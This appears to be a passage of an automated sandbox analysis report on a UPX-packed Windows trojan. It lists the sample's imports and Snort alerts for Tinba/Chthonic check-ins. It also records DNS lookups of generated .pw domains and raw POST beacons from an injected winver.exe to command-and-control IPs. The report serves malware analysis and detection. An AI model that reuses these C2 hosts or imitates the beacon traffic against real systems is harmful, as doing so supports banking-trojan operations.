UPX1	0x11000	0xb000	0xb000	False	0.3611505681818182	data	5.633049275866229	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x1c000	0x1000	0x1000	False	0.318359375	data	3.483060593097884	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.imports	0x1d000	0x1000	0xc00	False	0.421875	data	4.436376811230836	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	ZLIB Complexity
RT_ICON	0x1c2fc	0x668	Device independent bitmap graphic, 48 x 96 x 4, image size 0	0.21890243902439024
RT_ICON	0x118a0	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 0	0.3400537634408602
RT_ICON	0x11b98	0x1e8	Device independent bitmap graphic, 24 x 48 x 4, image size 0	0.35450819672131145
RT_ICON	0x11d90	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 0	0.46283783783783783
RT_ICON	0x11ec8	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	0.5026652452025586
RT_ICON	0x12d80	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	0.5798736462093863
RT_ICON	0x13638	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	0.40264976958525345
RT_ICON	0x13d10	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	0.3273121387283237
RT_ICON	0x14288	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	0.27344398340248965
RT_ICON	0x16840	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	0.37875234521575984
RT_ICON	0x178f8	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 0	0.37868852459016394
RT_ICON	0x18290	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	0.4796099290780142
RT_GROUP_ICON	0x1c968	0xae	data	0.5919540229885057
RT_VERSION	0x1ca1c	0x33c	data	0.47342995169082125

Imports

DLL	Import
GDI32.dll	GetDeviceCaps
KERNEL32.DLL	AddAtomW, FreeConsole, GetCurrencyFormatW, IsProcessorFeaturePresent, CreateEventA, OpenFileMappingW, LocalHandle, HeapSize, MulDiv, WriteFile, GetTempFileNameW, SetLocaleInfoW, DosDateTimeToFileTime, EnumLanguageGroupLocalesW, CreatePipe, GetPrivateProfileSectionNamesA, SetConsoleTitleA, CancelDeviceWakeupRequest, GetVolumePathNameA, GetProfileIntA, GetDateFormatA, DebugBreak, SuspendThread, SetCommMask, EnumUILanguagesW, MoveFileWithProgressA, BackupRead, GetNumberOfConsoleInputEvents, GetLongPathNameA, FreeLibrary, GetFileAttributesW, EnumDateFormatsA, QueryDosDeviceA, UpdateResourceW, WritePrivateProfileStructA, lstrcpynA, GetExitCodeProcess, GlobalAddAtomW, GetShortPathNameW, UnlockFileEx, SetComputerNameExA, GetExitCodeProcess
WINMM.dll	timeSetEvent, waveOutOpen, midiConnect, midiOutSetVolume, mmioOpenA, mmioWrite, DrvGetModuleHandle, mciGetDeviceIDFromElementIDW, waveOutGetErrorTextW, joyGetPosEx, mixerSetControlDetails, joySetThreshold, mmioRead, waveOutGetDevCapsA, DefDriverProc, mmioDescend, mixerGetLineInfoA, mciSendStringA, midiOutClose, midiInGetDevCapsW, midiStreamOut, mmioSetBuffer, midiInClose, waveOutReset, midiOutPrepareHeader, waveInGetPosition, GetDriverModuleHandle, mmioGetInfo, midiInMessage, mciGetCreatorTask, auxGetVolume, joyGetDevCapsW, waveInGetErrorTextA, mixerGetLineControlsW
mscms.dll	GetColorProfileElement, UninstallColorProfileA, AssociateColorProfileWithDeviceA, EnumColorProfilesW, GetStandardColorSpaceProfileW, DisassociateColorProfileFromDeviceW, GetStandardColorSpaceProfileA, SetStandardColorSpaceProfileW, DeleteColorTransform, GetPS2ColorRenderingIntent, SetColorProfileHeader, TranslateBitmapBits, CreateColorTransformA, ConvertIndexToColorName, CreateProfileFromLogColorSpaceW, RegisterCMMW, GetColorProfileElementTag, GetColorProfileFromHandle, UninstallColorProfileW, CreateMultiProfileTransform, GetCountColorProfileElements, InstallColorProfileA, CreateColorTransformW, CheckColors, SetColorProfileElementReference
msvcrt.dll	iswprint, _wgetenv, srand, strtok, iswupper, tolower, fputs, _swab, wcsncpy, _fputchar, iswctype, _strupr, bsearch, _strnicmp, memcmp, _wspawnl, _abnormal_termination, _rotl, _flsbuf, isdigit, memmove, _isctype, isalpha, isgraph, _wspawnvpe, _wexecve, _wcslwr, _wcsrev, fputwc, _fcvt, _ultoa, tmpnam, _wcreat
ole32.dll	OleCreateFromData, HWND_UserMarshal, CreateAntiMoniker, CoInitialize, CoSetProxyBlanket, CoDisconnectObject, ReleaseStgMedium, HGLOBAL_UserSize, PropStgNameToFmtId

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
192.168.2.4104.131.68.18049736802020418 12/19/23-00:41:44.628603	TCP	2020418	ET TROJAN Tinba Checkin 2	49736	80	192.168.2.4	104.131.68.180
192.168.2.4216.218.185.16249737802020418 12/19/23-00:41:46.120627	TCP	2020418	ET TROJAN Tinba Checkin 2	49737	80	192.168.2.4	216.218.185.162
192.168.2.4104.131.68.18049736802830613 12/19/23-00:41:44.628603	TCP	2830613	ETPRO TROJAN W32/Chthonic CnC Activity	49736	80	192.168.2.4	104.131.68.180
192.168.2.4216.218.185.16249738802024659 12/19/23-00:41:47.666890	TCP	2024659	ET TROJAN [PTsecurity] Tinba Checkin 4	49738	80	192.168.2.4	216.218.185.162
192.168.2.4104.131.68.18049736802024659 12/19/23-00:41:44.628603	TCP	2024659	ET TROJAN [PTsecurity] Tinba Checkin 4	49736	80	192.168.2.4	104.131.68.180
192.168.2.4216.218.185.16249738802020418 12/19/23-00:41:47.666890	TCP	2020418	ET TROJAN Tinba Checkin 2	49738	80	192.168.2.4	216.218.185.162
192.168.2.4216.218.185.16249735802020418 12/19/23-00:41:33.880543	TCP	2020418	ET TROJAN Tinba Checkin 2	49735	80	192.168.2.4	216.218.185.162
192.168.2.4216.218.185.16249735802024659 12/19/23-00:41:33.880543	TCP	2024659	ET TROJAN [PTsecurity] Tinba Checkin 4	49735	80	192.168.2.4	216.218.185.162
192.168.2.4216.218.185.16249737802024659 12/19/23-00:41:46.120627	TCP	2024659	ET TROJAN [PTsecurity] Tinba Checkin 4	49737	80	192.168.2.4	216.218.185.162

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 19, 2023 00:41:01.324368000 CET	49675	443	192.168.2.4	173.222.162.32
Dec 19, 2023 00:41:23.189815044 CET	49672	443	192.168.2.4	173.222.162.32
Dec 19, 2023 00:41:23.191852093 CET	49730	443	192.168.2.4	173.222.162.32
Dec 19, 2023 00:41:23.191880941 CET	443	49730	173.222.162.32	192.168.2.4
Dec 19, 2023 00:41:23.192210913 CET	49730	443	192.168.2.4	173.222.162.32
Dec 19, 2023 00:41:23.202622890 CET	49730	443	192.168.2.4	173.222.162.32
Dec 19, 2023 00:41:23.202636003 CET	443	49730	173.222.162.32	192.168.2.4
Dec 19, 2023 00:41:23.496133089 CET	49672	443	192.168.2.4	173.222.162.32
Dec 19, 2023 00:41:23.589811087 CET	443	49730	173.222.162.32	192.168.2.4
Dec 19, 2023 00:41:23.589926004 CET	49730	443	192.168.2.4	173.222.162.32
Dec 19, 2023 00:41:24.105520964 CET	49672	443	192.168.2.4	173.222.162.32
Dec 19, 2023 00:41:25.057265043 CET	49730	443	192.168.2.4	173.222.162.32
Dec 19, 2023 00:41:25.057287931 CET	443	49730	173.222.162.32	192.168.2.4
Dec 19, 2023 00:41:25.057631016 CET	443	49730	173.222.162.32	192.168.2.4
Dec 19, 2023 00:41:25.057678938 CET	49730	443	192.168.2.4	173.222.162.32
Dec 19, 2023 00:41:25.058381081 CET	49730	443	192.168.2.4	173.222.162.32
Dec 19, 2023 00:41:25.058413982 CET	443	49730	173.222.162.32	192.168.2.4
Dec 19, 2023 00:41:25.076422930 CET	49730	443	192.168.2.4	173.222.162.32
Dec 19, 2023 00:41:25.076436043 CET	443	49730	173.222.162.32	192.168.2.4
Dec 19, 2023 00:41:25.308671951 CET	49672	443	192.168.2.4	173.222.162.32
Dec 19, 2023 00:41:25.474803925 CET	443	49730	173.222.162.32	192.168.2.4
Dec 19, 2023 00:41:25.475245953 CET	443	49730	173.222.162.32	192.168.2.4
Dec 19, 2023 00:41:25.475312948 CET	49730	443	192.168.2.4	173.222.162.32
Dec 19, 2023 00:41:25.475419998 CET	49730	443	192.168.2.4	173.222.162.32
Dec 19, 2023 00:41:25.475438118 CET	443	49730	173.222.162.32	192.168.2.4
Dec 19, 2023 00:41:25.475449085 CET	49730	443	192.168.2.4	173.222.162.32
Dec 19, 2023 00:41:25.475481033 CET	49730	443	192.168.2.4	173.222.162.32
Dec 19, 2023 00:41:27.714906931 CET	49672	443	192.168.2.4	173.222.162.32
Dec 19, 2023 00:41:32.527401924 CET	49672	443	192.168.2.4	173.222.162.32
Dec 19, 2023 00:41:33.342890024 CET	49735	80	192.168.2.4	216.218.185.162
Dec 19, 2023 00:41:33.544368982 CET	80	49735	216.218.185.162	192.168.2.4
Dec 19, 2023 00:41:33.544491053 CET	49735	80	192.168.2.4	216.218.185.162
Dec 19, 2023 00:41:33.880542994 CET	49735	80	192.168.2.4	216.218.185.162
Dec 19, 2023 00:41:34.081960917 CET	80	49735	216.218.185.162	192.168.2.4
Dec 19, 2023 00:41:34.082025051 CET	49735	80	192.168.2.4	216.218.185.162
Dec 19, 2023 00:41:34.283010960 CET	80	49735	216.218.185.162	192.168.2.4
Dec 19, 2023 00:41:34.283396959 CET	80	49735	216.218.185.162	192.168.2.4
Dec 19, 2023 00:41:34.283459902 CET	80	49735	216.218.185.162	192.168.2.4
Dec 19, 2023 00:41:34.283638000 CET	49735	80	192.168.2.4	216.218.185.162
Dec 19, 2023 00:41:38.616506100 CET	49735	80	192.168.2.4	216.218.185.162
Dec 19, 2023 00:41:38.817711115 CET	80	49735	216.218.185.162	192.168.2.4
Dec 19, 2023 00:41:42.136801958 CET	49672	443	192.168.2.4	173.222.162.32
Dec 19, 2023 00:41:44.458991051 CET	49736	80	192.168.2.4	104.131.68.180
Dec 19, 2023 00:41:44.626821041 CET	80	49736	104.131.68.180	192.168.2.4
Dec 19, 2023 00:41:44.626909971 CET	49736	80	192.168.2.4	104.131.68.180
Dec 19, 2023 00:41:44.628602982 CET	49736	80	192.168.2.4	104.131.68.180
Dec 19, 2023 00:41:44.795018911 CET	80	49736	104.131.68.180	192.168.2.4
Dec 19, 2023 00:41:44.795100927 CET	49736	80	192.168.2.4	104.131.68.180
Dec 19, 2023 00:41:44.961527109 CET	80	49736	104.131.68.180	192.168.2.4
Dec 19, 2023 00:41:44.968421936 CET	80	49736	104.131.68.180	192.168.2.4
Dec 19, 2023 00:41:44.968435049 CET	80	49736	104.131.68.180	192.168.2.4
Dec 19, 2023 00:41:44.968966961 CET	49736	80	192.168.2.4	104.131.68.180
Dec 19, 2023 00:41:44.968966961 CET	49736	80	192.168.2.4	104.131.68.180
Dec 19, 2023 00:41:45.135353088 CET	80	49736	104.131.68.180	192.168.2.4
Dec 19, 2023 00:41:45.918627024 CET	49737	80	192.168.2.4	216.218.185.162
Dec 19, 2023 00:41:46.120387077 CET	80	49737	216.218.185.162	192.168.2.4
Dec 19, 2023 00:41:46.120497942 CET	49737	80	192.168.2.4	216.218.185.162
Dec 19, 2023 00:41:46.120626926 CET	49737	80	192.168.2.4	216.218.185.162
Dec 19, 2023 00:41:46.322284937 CET	80	49737	216.218.185.162	192.168.2.4
Dec 19, 2023 00:41:46.322359085 CET	49737	80	192.168.2.4	216.218.185.162
Dec 19, 2023 00:41:46.523906946 CET	80	49737	216.218.185.162	192.168.2.4
Dec 19, 2023 00:41:46.524444103 CET	80	49737	216.218.185.162	192.168.2.4
Dec 19, 2023 00:41:46.524456024 CET	80	49737	216.218.185.162	192.168.2.4
Dec 19, 2023 00:41:46.524658918 CET	49737	80	192.168.2.4	216.218.185.162
Dec 19, 2023 00:41:46.524930954 CET	49737	80	192.168.2.4	216.218.185.162
Dec 19, 2023 00:41:46.726591110 CET	80	49737	216.218.185.162	192.168.2.4
Dec 19, 2023 00:41:47.465358973 CET	49738	80	192.168.2.4	216.218.185.162
Dec 19, 2023 00:41:47.666697979 CET	80	49738	216.218.185.162	192.168.2.4
Dec 19, 2023 00:41:47.666779041 CET	49738	80	192.168.2.4	216.218.185.162
Dec 19, 2023 00:41:47.666889906 CET	49738	80	192.168.2.4	216.218.185.162
Dec 19, 2023 00:41:47.867882967 CET	80	49738	216.218.185.162	192.168.2.4
Dec 19, 2023 00:41:47.867964983 CET	49738	80	192.168.2.4	216.218.185.162
Dec 19, 2023 00:41:48.069252014 CET	80	49738	216.218.185.162	192.168.2.4
Dec 19, 2023 00:41:48.071468115 CET	80	49738	216.218.185.162	192.168.2.4
Dec 19, 2023 00:41:48.071528912 CET	80	49738	216.218.185.162	192.168.2.4
Dec 19, 2023 00:41:48.071772099 CET	49738	80	192.168.2.4	216.218.185.162
Dec 19, 2023 00:41:53.135473013 CET	80	49738	216.218.185.162	192.168.2.4
Dec 19, 2023 00:41:53.183711052 CET	49738	80	192.168.2.4	216.218.185.162
Dec 19, 2023 00:41:59.167958021 CET	80	49738	216.218.185.162	192.168.2.4
Dec 19, 2023 00:41:59.214984894 CET	49738	80	192.168.2.4	216.218.185.162
Dec 19, 2023 00:42:05.148691893 CET	80	49738	216.218.185.162	192.168.2.4
Dec 19, 2023 00:42:05.199353933 CET	49738	80	192.168.2.4	216.218.185.162
Dec 19, 2023 00:42:11.177659988 CET	80	49738	216.218.185.162	192.168.2.4
Dec 19, 2023 00:42:11.230655909 CET	49738	80	192.168.2.4	216.218.185.162
Dec 19, 2023 00:42:17.132055044 CET	80	49738	216.218.185.162	192.168.2.4
Dec 19, 2023 00:42:17.183778048 CET	49738	80	192.168.2.4	216.218.185.162
Dec 19, 2023 00:42:23.131304979 CET	80	49738	216.218.185.162	192.168.2.4
Dec 19, 2023 00:42:23.183748960 CET	49738	80	192.168.2.4	216.218.185.162
Dec 19, 2023 00:42:29.123557091 CET	80	49738	216.218.185.162	192.168.2.4
Dec 19, 2023 00:42:29.168138027 CET	49738	80	192.168.2.4	216.218.185.162
Dec 19, 2023 00:42:35.163013935 CET	80	49738	216.218.185.162	192.168.2.4
Dec 19, 2023 00:42:35.215015888 CET	49738	80	192.168.2.4	216.218.185.162
Dec 19, 2023 00:42:41.203771114 CET	80	49738	216.218.185.162	192.168.2.4
Dec 19, 2023 00:42:41.246270895 CET	49738	80	192.168.2.4	216.218.185.162
Dec 19, 2023 00:42:47.200882912 CET	80	49738	216.218.185.162	192.168.2.4
Dec 19, 2023 00:42:47.246324062 CET	49738	80	192.168.2.4	216.218.185.162
Dec 19, 2023 00:42:53.165776014 CET	80	49738	216.218.185.162	192.168.2.4
Dec 19, 2023 00:42:53.215081930 CET	49738	80	192.168.2.4	216.218.185.162
Dec 19, 2023 00:42:59.133546114 CET	80	49738	216.218.185.162	192.168.2.4
Dec 19, 2023 00:42:59.183963060 CET	49738	80	192.168.2.4	216.218.185.162
Dec 19, 2023 00:43:05.150171041 CET	80	49738	216.218.185.162	192.168.2.4
Dec 19, 2023 00:43:05.199718952 CET	49738	80	192.168.2.4	216.218.185.162
Dec 19, 2023 00:43:11.185828924 CET	80	49738	216.218.185.162	192.168.2.4
Dec 19, 2023 00:43:11.230670929 CET	49738	80	192.168.2.4	216.218.185.162
Dec 19, 2023 00:43:17.137090921 CET	80	49738	216.218.185.162	192.168.2.4
Dec 19, 2023 00:43:17.183808088 CET	49738	80	192.168.2.4	216.218.185.162
Dec 19, 2023 00:43:23.129139900 CET	80	49738	216.218.185.162	192.168.2.4
Dec 19, 2023 00:43:23.183823109 CET	49738	80	192.168.2.4	216.218.185.162
Dec 19, 2023 00:43:29.205451012 CET	80	49738	216.218.185.162	192.168.2.4
Dec 19, 2023 00:43:29.246298075 CET	49738	80	192.168.2.4	216.218.185.162

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 19, 2023 00:41:10.802402020 CET	62709	53	192.168.2.4	1.1.1.1
Dec 19, 2023 00:41:11.373840094 CET	53	62709	1.1.1.1	192.168.2.4
Dec 19, 2023 00:41:38.617091894 CET	61278	53	192.168.2.4	1.1.1.1
Dec 19, 2023 00:41:39.146748066 CET	53	61278	1.1.1.1	192.168.2.4
Dec 19, 2023 00:41:44.969724894 CET	54874	53	192.168.2.4	1.1.1.1
Dec 19, 2023 00:41:45.555104971 CET	53	54874	1.1.1.1	192.168.2.4
Dec 19, 2023 00:41:46.525633097 CET	58068	53	192.168.2.4	1.1.1.1
Dec 19, 2023 00:41:47.101788998 CET	53	58068	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 19, 2023 00:41:10.802402020 CET	192.168.2.4	1.1.1.1	0x9459	Standard query (0)	spaines.pw	A (IP address)	IN (0x0001)	false
Dec 19, 2023 00:41:38.617091894 CET	192.168.2.4	1.1.1.1	0xc3ae	Standard query (0)	uyhgqunqkxnx.pw	A (IP address)	IN (0x0001)	false
Dec 19, 2023 00:41:44.969724894 CET	192.168.2.4	1.1.1.1	0x2e03	Standard query (0)	vcklmnnejwxx.pw	A (IP address)	IN (0x0001)	false
Dec 19, 2023 00:41:46.525633097 CET	192.168.2.4	1.1.1.1	0xe6b7	Standard query (0)	cmnsgscccrej.pw	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Dec 19, 2023 00:41:11.373840094 CET	1.1.1.1	192.168.2.4	0x9459	No error (0)	spaines.pw	216.218.185.162	A (IP address)	IN (0x0001)	false
Dec 19, 2023 00:41:39.146748066 CET	1.1.1.1	192.168.2.4	0xc3ae	No error (0)	uyhgqunqkxnx.pw	104.131.68.180	A (IP address)	IN (0x0001)	false
Dec 19, 2023 00:41:39.146748066 CET	1.1.1.1	192.168.2.4	0xc3ae	No error (0)	uyhgqunqkxnx.pw	45.77.249.79	A (IP address)	IN (0x0001)	false
Dec 19, 2023 00:41:39.146748066 CET	1.1.1.1	192.168.2.4	0xc3ae	No error (0)	uyhgqunqkxnx.pw	178.62.201.34	A (IP address)	IN (0x0001)	false
Dec 19, 2023 00:41:45.555104971 CET	1.1.1.1	192.168.2.4	0x2e03	No error (0)	vcklmnnejwxx.pw	216.218.185.162	A (IP address)	IN (0x0001)	false
Dec 19, 2023 00:41:47.101788998 CET	1.1.1.1	192.168.2.4	0xe6b7	No error (0)	cmnsgscccrej.pw	216.218.185.162	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

https:

www.bing.com

spaines.pw

uyhgqunqkxnx.pw

vcklmnnejwxx.pw

cmnsgscccrej.pw

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49735	216.218.185.162	80	6384	C:\Windows\SysWOW64\winver.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 00:41:33.880542994 CET	93	OUT	POST /EiDQjNbWEQ/ HTTP/1.0 Host: spaines.pw Content-Length: 157 Data Raw: 17 df be d8 01 d5 be d8 79 91 65 5a 11 dd bf fb 27 ef 8e e8 27 ef 8e e8 Data Ascii: yeZ''
Dec 19, 2023 00:41:34.082025051 CET	133	OUT	Data Raw: 00 80 00 00 00 77 ee f1 1d 7b 26 be ec 1a 51 ba f1 d2 a4 d3 f7 e9 59 16 eb 1f 03 67 36 75 23 1e 06 61 13 b5 1c 81 ae 9b 1e d7 58 12 93 3e 77 77 7a 3e 5e 7c 99 17 7c 25 a4 ee b2 87 0f bd d3 27 4d f0 4b 6a bb 2d cc 2c a2 7c bd b4 b1 79 e8 c4 ab 1b Data Ascii: w{&QYg6u#aX>wwz>^\|\|%'MKj-,\|yVB}{)g4fo=hjD9xTq}U
Dec 19, 2023 00:41:34.283396959 CET	156	IN	HTTP/1.1 200 OK Server: nginx/1.21.6 Date: Mon, 18 Dec 2023 23:41:34 GMT Content-Type: application/octet-stream Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49736	104.131.68.180	80	6384	C:\Windows\SysWOW64\winver.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 00:41:44.628602982 CET	98	OUT	POST /EiDQjNbWEQ/ HTTP/1.0 Host: uyhgqunqkxnx.pw Content-Length: 157 Data Raw: df a3 ff f3 c4 a9 ff f3 b1 ed 24 71 d9 a1 fe d0 ef 93 cf c3 ef 93 cf c3 Data Ascii: $q
Dec 19, 2023 00:41:44.795100927 CET	133	OUT	Data Raw: 00 80 00 00 00 71 e7 f8 13 64 36 a3 b3 01 5e d4 89 fc d4 a4 f7 d9 59 16 eb 1f 03 67 36 75 23 1e 06 61 13 b5 1c ab 0f 10 a5 5e f7 48 66 e0 38 ff 29 d4 34 f7 00 b5 6d d4 70 17 e0 8f 1c 9e 5c 26 5a 00 b5 8a c4 07 42 79 f5 69 4d 2d 1a af eb d0 03 bf Data Ascii: qd6^Yg6u#a^Hf8)4mp\&ZByiM-,%^'UVRwMeDc3SE'E=5;*vM]
Dec 19, 2023 00:41:44.968421936 CET	75	IN	HTTP/1.0 200 OK Date: Mon, 18 Dec 2023 23:41:44 GMT Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49737	216.218.185.162	80	6384	C:\Windows\SysWOW64\winver.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 00:41:46.120626926 CET	98	OUT	POST /EiDQjNbWEQ/ HTTP/1.0 Host: vcklmnnejwxx.pw Content-Length: 157 Data Raw: 44 9d 81 a8 58 97 81 a8 2a d3 5a 2a 42 9f 80 8b 74 ad b1 98 74 ad b1 98 Data Ascii: DXZBtt
Dec 19, 2023 00:41:46.322359085 CET	133	OUT	Data Raw: 00 80 00 00 00 72 fd fb 18 78 2d a3 a7 00 51 c2 89 fc d4 a4 f7 d9 59 16 eb 1f 03 67 36 75 23 1e 06 61 13 b5 1c ce 3a cf 56 b7 df cf c4 81 1e 9f b8 bc c8 39 5e 41 f6 86 66 89 07 a1 d0 90 0f d4 8e 21 23 51 7c f5 01 fd 6f 8b 2e d4 7c c2 45 1b 69 8a Data Ascii: rx-QYg6u#a:V9^Af!#Q\|o.\|Eik,09^Yj"c(<<0?z6Y`*3
Dec 19, 2023 00:41:46.524444103 CET	156	IN	HTTP/1.1 200 OK Server: nginx/1.21.6 Date: Mon, 18 Dec 2023 23:41:46 GMT Content-Type: application/octet-stream Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49738	216.218.185.162	80	6384	C:\Windows\SysWOW64\winver.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 00:41:47.666889906 CET	98	OUT	POST /EiDQjNbWEQ/ HTTP/1.0 Host: cmnsgscccrej.pw Content-Length: 157 Data Raw: 38 28 9d 64 25 22 9d 64 56 66 46 e6 3e 2a 9c 47 08 18 ad 54 08 18 ad 54 Data Ascii: 8(d%"dVfF>*GTT
Dec 19, 2023 00:41:47.867964983 CET	133	OUT	Data Raw: 00 80 00 00 00 67 f3 fe 07 72 30 ae a1 09 54 df 9b fc d4 a4 f7 d9 59 16 eb 1f 03 67 36 75 23 1e 06 61 13 b5 1c d7 66 d3 12 68 bf 2b 87 28 f7 bb f4 88 8c 42 12 a7 7b aa 22 89 aa bc 94 a8 3b 30 d2 df a8 75 20 4d ea 86 2b 61 c1 f8 38 cf b8 06 25 65 Data Ascii: gr0TYg6u#afh+(B{";0u M+a8%e/&*t2hd{l(8[u]\El\|[%W
Dec 19, 2023 00:41:48.071468115 CET	137	IN	HTTP/1.1 200 OK Server: nginx/1.21.6 Date: Mon, 18 Dec 2023 23:41:47 GMT Content-Type: application/octet-stream Connection: close
Dec 19, 2023 00:41:48.071528912 CET	1	IN	Data Raw: 58 Data Ascii: X
Dec 19, 2023 00:41:53.135473013 CET	1	IN	Data Raw: 65 Data Ascii: e
Dec 19, 2023 00:41:59.167958021 CET	1	IN	Data Raw: 65 Data Ascii: e
Dec 19, 2023 00:42:05.148691893 CET	1	IN	Data Raw: 55 Data Ascii: U
Dec 19, 2023 00:42:11.177659988 CET	1	IN	Data Raw: 46 Data Ascii: F
Dec 19, 2023 00:42:17.132055044 CET	1	IN	Data Raw: 71 Data Ascii: q
Dec 19, 2023 00:42:23.131304979 CET	1	IN	Data Raw: 54 Data Ascii: T
Dec 19, 2023 00:42:29.123557091 CET	1	IN	Data Raw: 55 Data Ascii: U
Dec 19, 2023 00:42:35.163013935 CET	1	IN	Data Raw: 6f Data Ascii: o

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	173.222.162.32	443	4984	C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-18 23:41:25 UTC	2301	OUT	POST /threshold/xls.aspx HTTP/1.1 Origin: https://www.bing.com Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/Init Accept: / Accept-Language: en-CH Content-type: text/xml X-Agent-DeviceId: 01000A4109000CC6 X-BM-CBT: 1696420817 X-BM-DateFormat: dd/MM/yyyy X-BM-DeviceDimensions: 784x984 X-BM-DeviceDimensionsLogical: 784x984 X-BM-DeviceScale: 100 X-BM-DTZ: 60 X-BM-Market: CH X-BM-Theme: 000000;0078d7 X-BM-WindowsFlights: FX:117B9872,FX:119E26AD,FX:11C0E96C,FX:11C6E5C2,FX:11C7EB6A,FX:11C9408A,FX:11C940DB,FX:11CB9A9F,FX:11CB9AC1,FX:11CC111C,FX:11D5BFCD,FX:11DF5B12,FX:11DF5B75,FX:1240931B,FX:124B38D0,FX:127FC878,FX:1283FFE8,FX:12840617,FX:128979F9,FX:128EBD7E,FX:129135BB,FX:129E053F,FX:12A74DB5,FX:12AB734D,FX:12B8450E,FX:12BD6E73,FX:12C3331B,FX:12C7D66E X-Device-ClientSession: 0912CF9094994CFA88DE52C6FB19D4E1 X-Device-isOptin: false X-Device-MachineId: {92C86F7C-DB2B-4F6A-95AD-98B4A2AE008A} X-Device-OSSKU: 48 X-Device-Touch: false X-DeviceID: 01000A4109000CC6 X-MSEdge-ExternalExp: bfbwsbrs0830tf,d-thshldspcl40,msbdsborgv2co,msbwdsbi920t1,spofglclicksh-c2,webtophit0r_t,wsbmsaqfuxtc,wsbqfasmsall_t,wsbqfminiserp400,wsbref-t X-MSEdge-ExternalExpType: JointCoord X-PositionerType: Desktop X-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUI X-Search-CortanaAvailableCapabilities: None X-Search-SafeSearch: Moderate X-Search-TimeZone: Bias=0; DaylightBias=-60; TimeZoneKeyName=GMT Standard Time X-UserAgeClass: Unknown Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: www.bing.com Content-Length: 2232 Connection: Keep-Alive Cache-Control: no-cache Cookie: MUID=6666694284484FA1B35CCB433D42E997; _SS=SID=193A581F83766B4319784BBF829B6A16&CPID=1696420820117&AC=1&CPH=e5c79613&CBV=39942242; _EDGE_S=SID=193A581F83766B4319784BBF829B6A16; SRCHUID=V=2&GUID=BA43D82178364AEA9C1EE6C32BE93416&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20231003; SRCHHPGUSR=SRCHLANG=en&LUT=1696420817741&IPMH=425591ef&IPMID=1696420817913&HV=1696417346; ANON=A=6D8F9DF00282E660E425530EFFFFFFFF; CortanaAppUID=4C9C2B2D0465FD7A42C74C7E93CFB630; MUIDB=6666694284484FA1B35CCB433D42E997
2023-12-18 23:41:25 UTC	2232	OUT	Data Raw: 3c 43 6c 69 65 6e 74 49 6e 73 74 52 65 71 75 65 73 74 3e 3c 43 49 44 3e 36 36 36 36 36 39 34 32 38 34 34 38 34 46 41 31 42 33 35 43 43 42 34 33 33 44 34 32 45 39 39 37 3c 2f 43 49 44 3e 3c 45 76 65 6e 74 73 3e 3c 45 3e 3c 54 3e 45 76 65 6e 74 2e 43 6c 69 65 6e 74 49 6e 73 74 3c 2f 54 3e 3c 49 47 3e 38 39 32 46 41 30 37 38 38 36 34 31 34 42 44 46 38 45 45 31 37 36 34 41 35 39 46 46 33 39 43 36 3c 2f 49 47 3e 3c 44 3e 3c 21 5b 43 44 41 54 41 5b 7b 22 43 75 72 55 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 62 69 6e 67 2e 63 6f 6d 2f 41 53 2f 41 50 49 2f 57 69 6e 64 6f 77 73 43 6f 72 74 61 6e 61 50 61 6e 65 2f 56 32 2f 49 6e 69 74 22 2c 22 50 69 76 6f 74 22 3a 22 51 46 22 2c 22 54 22 3a 22 43 49 2e 42 6f 78 4d 6f 64 65 6c 22 2c 22 46 49 44 22 3a 22 43 Data Ascii: 